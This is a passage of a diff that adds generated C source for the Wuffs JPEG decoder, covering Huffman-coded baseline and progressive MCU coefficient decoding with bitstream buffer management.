++ v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[self->private_impl.f_mcu_current_block]; ++ v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; ++ while (v_z < 64u) { ++ v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_ac_bl = (v_ac_ht_fast >> 8u); ++ if (v_n_bits >= v_ac_bl) { ++ v_ac_symbol = (255u & v_ac_ht_fast); ++ v_bits <<= (v_ac_bl & 63u); ++ v_n_bits -= v_ac_bl; ++ } else { ++ v_ac_code = ((uint32_t)((v_bits >> 55u))); ++ v_ac_blm1 = 8u; ++ v_bits <<= 9u; ++ v_n_bits -= 9u; ++ while (true) { ++ v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; ++ if (v_ac_code < (v_ac_ht_slow >> 8u)) { ++ v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); ++ break; ++ } ++ v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); ++ if (v_ac_blm1 == 0u) { ++ v_ac_symbol = 0u; ++ break; ++ } ++ } ++ } ++ v_ac_rrrr = (v_ac_symbol >> 4u); ++ v_z += (v_ac_rrrr + 1u); ++ v_ac_ssss = (v_ac_symbol & 15u); ++ v_ac_extend = WUFFS_JPEG__EXTEND[v_ac_ssss]; ++ if (v_ac_ssss > 0u) { ++ v_ac_value = ((uint16_t)((v_bits >> (64u - v_ac_ssss)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_ac_value += ((uint16_t)(v_ac_extend & ((uint16_t)(((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bits <<= v_ac_ssss; ++ v_n_bits -= v_ac_ssss; ++ self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[v_z]] = v_ac_value; ++ } else if (v_ac_rrrr < 15u) { ++ break; ++ } ++ } ++ v_mcb = self->private_impl.f_mcu_current_block; ++ self->private_impl.f_mcu_current_block += 1u; ++ if (self->private_impl.f_test_only_interrupt_decode_mcu) { ++ goto label__goto_done__break; ++ } ++ if ( ! self->private_impl.f_swizzle_immediately) { ++ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_mcb]]; ++ v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])); ++ v_offset = (self->private_impl.f_mcu_blocks_offset[v_mcb] + (((uint64_t)(self->private_impl.f_mcu_blocks_mx_mul[v_mcb])) * ((uint64_t)(a_mx))) + (((uint64_t)(self->private_impl.f_mcu_blocks_my_mul[v_mcb])) * ((uint64_t)(a_my)))); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_jpeg__decoder__decode_idct(self, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); ++ } ++ } else if (self->private_impl.f_num_components == 1u) { ++ wuffs_jpeg__decoder__decode_idct(self, wuffs_base__make_slice_u8(self->private_data.f_swizzle_immediately_buffer, 64), 8u, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); ++ self->private_impl.f_swizzle_immediately_status = wuffs_jpeg__decoder__swizzle_gray(self, ++ a_dst, ++ wuffs_base__make_slice_u8(self->private_data.f_swizzle_immediately_buffer, 64), ++ ((a_mx + 0u) * 8u), ++ ((a_mx + 1u) * 8u), ++ ((a_my + 0u) * 8u), ++ ((a_my + 1u) * 8u), ++ 8u); ++ if ( ! wuffs_base__status__is_ok(&self->private_impl.f_swizzle_immediately_status)) { ++ v_ret = 3u; ++ goto label__goto_done__break; ++ } ++ break; ++ } else { ++ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_mcb]]; ++ v_stride = (8u * ((uint64_t)(self->private_impl.f_components_h[v_csel]))); ++ wuffs_jpeg__decoder__decode_idct(self, wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, self->private_impl.f_swizzle_immediately_b_offsets[v_mcb], 640), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); ++ if (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { ++ continue; ++ } ++ self->private_impl.f_swizzle_immediately_status = wuffs_jpeg__decoder__swizzle_colorful(self, ++ a_dst, ++ wuffs_base__utility__empty_slice_u8(), ++ ((a_mx + 0u) * 8u * ((uint32_t)(self->private_impl.f_max_incl_components_h))), ++ ((a_mx + 1u) * 8u * ((uint32_t)(self->private_impl.f_max_incl_components_h))), ++ ((a_my + 0u) * 8u * ((uint32_t)(self->private_impl.f_max_incl_components_v))), ++ ((a_my + 1u) * 8u * ((uint32_t)(self->private_impl.f_max_incl_components_v)))); ++ if ( ! wuffs_base__status__is_ok(&self->private_impl.f_swizzle_immediately_status)) { ++ v_ret = 3u; ++ goto label__goto_done__break; ++ } ++ break; ++ } ++ } ++ self->private_impl.f_mcu_current_block = 0u; ++ } while (0); ++ label__goto_done__break:; ++ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); ++ if (v_pos > self->private_impl.f_bitstream_wi) { ++ v_ret = 2u; ++ } else { ++ self->private_impl.f_bitstream_ri = v_pos; ++ } ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; ++ } ++ self->private_impl.f_bitstream_bits = v_bits; ++ self->private_impl.f_bitstream_n_bits = v_n_bits; ++ return v_ret; ++} ++ ++// -------- func jpeg.decoder.decode_mcu_progressive_ac_high_bits ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my) { ++ uint32_t v_ret = 0; ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint32_t v_pos = 0; ++ const uint16_t* v_ac_huff_table_fast = NULL; ++ uint8_t v_ac_h = 0; ++ uint32_t v_ac_symbol = 0; ++ uint32_t v_ac_ht_fast = 0; ++ uint32_t v_ac_bl = 0; ++ uint32_t v_ac_code = 0; ++ uint32_t v_ac_blm1 = 0; ++ uint32_t v_ac_ht_slow = 0; ++ uint16_t v_ac_value = 0; ++ uint16_t v_ac_extend = 0; ++ uint32_t v_ac_rrrr = 0; ++ uint32_t v_ac_ssss = 0; ++ uint32_t v_z = 0; ++ ++ if (self->private_impl.f_eob_run > 0u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_eob_run -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ return 0u; ++ } ++ v_bits = self->private_impl.f_bitstream_bits; ++ v_n_bits = self->private_impl.f_bitstream_n_bits; ++ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { ++ return 2u; ++ } ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, ++ self->private_impl.f_bitstream_ri, ++ self->private_impl.f_bitstream_wi), ++ ((uint64_t)(self->private_impl.f_bitstream_ri))); ++ do { ++ do { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { ++ v_ret = 1u; ++ goto label__goto_done__break; ++ } ++ if (v_n_bits < 16u) { ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ } ++ v_z = self->private_impl.f_mcu_zig_index; ++ self->private_impl.f_mcu_zig_index = 0u; ++ v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[0u]; ++ v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; ++ while (v_z <= ((uint32_t)(self->private_impl.f_scan_se))) { ++ v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_ac_bl = (v_ac_ht_fast >> 8u); ++ if (v_n_bits >= v_ac_bl) { ++ v_ac_symbol = (255u & v_ac_ht_fast); ++ v_bits <<= (v_ac_bl & 63u); ++ v_n_bits -= v_ac_bl; ++ } else { ++ v_ac_code = ((uint32_t)((v_bits >> 55u))); ++ v_ac_blm1 = 8u; ++ v_bits <<= 9u; ++ v_n_bits -= 9u; ++ while (true) { ++ v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; ++ if (v_ac_code < (v_ac_ht_slow >> 8u)) { ++ v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); ++ break; ++ } ++ v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); ++ if (v_ac_blm1 == 0u) { ++ v_ac_symbol = 0u; ++ break; ++ } ++ } ++ } ++ v_ac_rrrr = (v_ac_symbol >> 4u); ++ v_z += (v_ac_rrrr + 1u); ++ v_ac_ssss = (v_ac_symbol & 15u); ++ v_ac_extend = WUFFS_JPEG__EXTEND[v_ac_ssss]; ++ if (v_ac_ssss > 0u) { ++ v_ac_value = ((uint16_t)((v_bits >> (64u - v_ac_ssss)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_ac_value += ((uint16_t)(v_ac_extend & ((uint16_t)(((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bits <<= v_ac_ssss; ++ v_n_bits -= v_ac_ssss; ++ self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[v_z]] = ((uint16_t)(((uint16_t)(v_ac_value << self->private_impl.f_scan_al)))); ++ } else if (v_ac_rrrr < 15u) { ++ self->private_impl.f_eob_run = ((uint16_t)(((uint16_t)(((uint16_t)(((uint16_t)(1u)) << v_ac_rrrr)) - 1u)))); ++ if (v_ac_rrrr > 0u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_eob_run += ((uint16_t)((v_bits >> (64u - v_ac_rrrr)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bits <<= v_ac_rrrr; ++ v_n_bits -= v_ac_rrrr; ++ } ++ break; ++ } ++ } ++ } while (0); ++ } while (0); ++ label__goto_done__break:; ++ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); ++ if (v_pos > self->private_impl.f_bitstream_wi) { ++ v_ret = 2u; ++ } else { ++ self->private_impl.f_bitstream_ri = v_pos; ++ } ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; ++ } ++ self->private_impl.f_bitstream_bits = v_bits; ++ self->private_impl.f_bitstream_n_bits = v_n_bits; ++ return v_ret; ++} ++ ++// -------- func jpeg.decoder.decode_mcu_progressive_ac_low_bit ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my) { ++ uint32_t v_ret = 0; ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint16_t v_one_lshift_scan_al = 0; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint32_t v_pos = 0; ++ const uint16_t* v_ac_huff_table_fast = NULL; ++ uint8_t v_ac_h = 0; ++ uint32_t v_ac_symbol = 0; ++ uint32_t v_ac_ht_fast = 0; ++ uint32_t v_ac_bl = 0; ++ uint32_t v_ac_code = 0; ++ uint32_t v_ac_blm1 = 0; ++ uint32_t v_ac_ht_slow = 0; ++ uint16_t v_ac_value = 0; ++ uint32_t v_ac_rrrr = 0; ++ uint32_t v_ac_ssss = 0; ++ uint8_t v_unzig = 0; ++ bool v_bit = false; ++ ++ v_bits = self->private_impl.f_bitstream_bits; ++ v_n_bits = self->private_impl.f_bitstream_n_bits; ++ v_one_lshift_scan_al = ((uint16_t)(((uint16_t)(1u)) << self->private_impl.f_scan_al)); ++ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { ++ return 2u; ++ } ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, ++ self->private_impl.f_bitstream_ri, ++ self->private_impl.f_bitstream_wi), ++ ((uint64_t)(self->private_impl.f_bitstream_ri))); ++ do { ++ do { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { ++ v_ret = 1u; ++ goto label__goto_done__break; ++ } ++ while (true) { ++ if (self->private_impl.f_eob_run > 0u) { ++ break; ++ } ++ v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[0u]; ++ v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; ++ while (true) { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); ++ v_ac_bl = (v_ac_ht_fast >> 8u); ++ if (v_n_bits >= v_ac_bl) { ++ v_ac_symbol = (255u & v_ac_ht_fast); ++ v_bits <<= (v_ac_bl & 63u); ++ v_n_bits -= v_ac_bl; ++ } else { ++ v_ac_code = ((uint32_t)((v_bits >> 55u))); ++ v_ac_blm1 = 8u; ++ v_bits <<= 9u; ++ v_n_bits -= 9u; ++ while (true) { ++ v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; ++ if (v_ac_code < (v_ac_ht_slow >> 8u)) { ++ v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); ++ break; ++ } ++ v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); ++ if (v_ac_blm1 == 0u) { ++ v_ac_symbol = 0u; ++ break; ++ } ++ } ++ } ++ v_ac_rrrr = (v_ac_symbol >> 4u); ++ v_ac_ssss = (v_ac_symbol & 15u); ++ v_ac_value = 0u; ++ if (v_ac_ssss > 0u) { ++ v_ac_value = ((uint16_t)(((uint16_t)(1u)) << self->private_impl.f_scan_al)); ++ if ((v_bits >> 63u) == 0u) { ++ v_ac_value = ((uint16_t)(((uint16_t)(65535u)) << self->private_impl.f_scan_al)); ++ } ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ } else if (v_ac_rrrr < 15u) { ++ self->private_impl.f_eob_run = ((uint16_t)(((uint16_t)(1u)) << v_ac_rrrr)); ++ if (v_ac_rrrr > 0u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_eob_run += ((uint16_t)((v_bits >> (64u - v_ac_rrrr)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bits <<= v_ac_rrrr; ++ v_n_bits -= v_ac_rrrr; ++ } ++ goto label__goto_do_eob__break; ++ } ++ while (true) { ++ v_unzig = WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]; ++ if (self->private_data.f_mcu_blocks[0u][v_unzig] != 0u) { ++ if (v_n_bits == 0u) { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ } ++ v_bit = ((v_bits >> 63u) > 0u); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ if (v_bit) { ++ if (self->private_data.f_mcu_blocks[0u][v_unzig] < 32768u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_data.f_mcu_blocks[0u][v_unzig] += v_one_lshift_scan_al; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_data.f_mcu_blocks[0u][v_unzig] -= v_one_lshift_scan_al; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ } ++ } else if (v_ac_rrrr <= 0u) { ++ break; ++ } else { ++ v_ac_rrrr -= 1u; ++ } ++ if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { ++ break; ++ } ++ self->private_impl.f_mcu_zig_index += 1u; ++ } ++ if (v_ac_value != 0u) { ++ self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]] = v_ac_value; ++ } ++ if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { ++ break; ++ } ++ self->private_impl.f_mcu_zig_index += 1u; ++ } ++ goto label__block__break; ++ } ++ label__goto_do_eob__break:; ++ if (self->private_impl.f_eob_run <= 0u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ while (true) { ++ v_unzig = WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]; ++ if (self->private_data.f_mcu_blocks[0u][v_unzig] != 0u) { ++ if (v_n_bits == 0u) { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ } ++ v_bit = ((v_bits >> 63u) > 0u); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ if (v_bit) { ++ if (self->private_data.f_mcu_blocks[0u][v_unzig] < 32768u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_data.f_mcu_blocks[0u][v_unzig] += v_one_lshift_scan_al; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_data.f_mcu_blocks[0u][v_unzig] -= v_one_lshift_scan_al; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ } ++ } ++ if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { ++ break; ++ } ++ self->private_impl.f_mcu_zig_index += 1u; ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_eob_run -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } while (0); ++ label__block__break:; ++ } while (0); ++ label__goto_done__break:; ++ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); ++ if (v_pos > self->private_impl.f_bitstream_wi) { ++ v_ret = 2u; ++ } else { ++ self->private_impl.f_bitstream_ri = v_pos; ++ } ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; ++ } ++ self->private_impl.f_bitstream_bits = v_bits; ++ self->private_impl.f_bitstream_n_bits = v_n_bits; ++ return v_ret; ++} ++ ++// -------- func jpeg.decoder.decode_mcu_progressive_dc_high_bits ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my) { ++ uint32_t v_ret = 0; ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint8_t v_csel = 0; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint32_t v_pos = 0; ++ uint8_t v_dc_h = 0; ++ uint32_t v_dc_symbol = 0; ++ uint32_t v_dc_ht_fast = 0; ++ uint32_t v_dc_bl = 0; ++ uint32_t v_dc_code = 0; ++ uint32_t v_dc_blm1 = 0; ++ uint32_t v_dc_ht_slow = 0; ++ uint16_t v_dc_value = 0; ++ uint16_t v_dc_extend = 0; ++ ++ v_bits = self->private_impl.f_bitstream_bits; ++ v_n_bits = self->private_impl.f_bitstream_n_bits; ++ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { ++ return 2u; ++ } ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, ++ self->private_impl.f_bitstream_ri, ++ self->private_impl.f_bitstream_wi), ++ ((uint64_t)(self->private_impl.f_bitstream_ri))); ++ do { ++ while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { ++ v_ret = 1u; ++ goto label__goto_done__break; ++ } ++ do { ++ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { ++ v_ret = 2u; ++ goto label__goto_done__break; ++ } ++ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); ++ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_dc_h = self->private_impl.f_mcu_blocks_dc_hselector[self->private_impl.f_mcu_current_block]; ++ v_dc_ht_fast = ((uint32_t)(self->private_impl.f_huff_tables_fast[v_dc_h][(v_bits >> 56u)])); ++ v_dc_bl = (v_dc_ht_fast >> 8u); ++ if (v_n_bits >= v_dc_bl) { ++ v_dc_symbol = (15u & v_dc_ht_fast); ++ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; ++ v_bits <<= (v_dc_bl & 63u); ++ v_n_bits -= v_dc_bl; ++ } else { ++ v_dc_code = ((uint32_t)((v_bits >> 55u))); ++ v_dc_blm1 = 8u; ++ v_bits <<= 9u; ++ v_n_bits -= 9u; ++ while (true) { ++ v_dc_ht_slow = self->private_impl.f_huff_tables_slow[v_dc_h][v_dc_blm1]; ++ if (v_dc_code < (v_dc_ht_slow >> 8u)) { ++ v_dc_symbol = (15u & ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_dc_h][(255u & ((uint32_t)(v_dc_code + v_dc_ht_slow)))]))); ++ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; ++ break; ++ } ++ v_dc_code = (((uint32_t)(v_dc_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); ++ v_bits <<= 1u; ++ v_n_bits -= 1u; ++ v_dc_blm1 = ((v_dc_blm1 + 1u) & 15u); ++ if (v_dc_blm1 == 0u) { ++ v_dc_symbol = 0u; ++ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; ++ break; ++ } ++ } ++ } ++ v_dc_value = ((uint16_t)(((v_bits >> 32u) >> (32u - v_dc_symbol)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_dc_value += ((uint16_t)(v_dc_extend & ((uint16_t)(((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_bits <<= v_dc_symbol; ++ v_n_bits -= v_dc_symbol; ++ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[self->private_impl.f_mcu_current_block]]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_mcu_previous_dc_values[v_csel] += v_dc_value; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_data.f_mcu_blocks[self->private_impl.f_mcu_current_block][0u] = ((uint16_t)(self->private_impl.f_mcu_previous_dc_values[v_csel] << self->private_impl.f_scan_al)); ++ } while (0); ++ self->private_impl.f_mcu_current_block += 1u; ++ } ++ self->private_impl.f_mcu_current_block = 0u; ++ } while (0); ++ label__goto_done__break:; ++ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); ++ if (v_pos > self->private_impl.f_bitstream_wi) { ++ v_ret = 2u; ++ } else { ++ self->private_impl.f_bitstream_ri = v_pos; ++ } ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; ++ } ++ 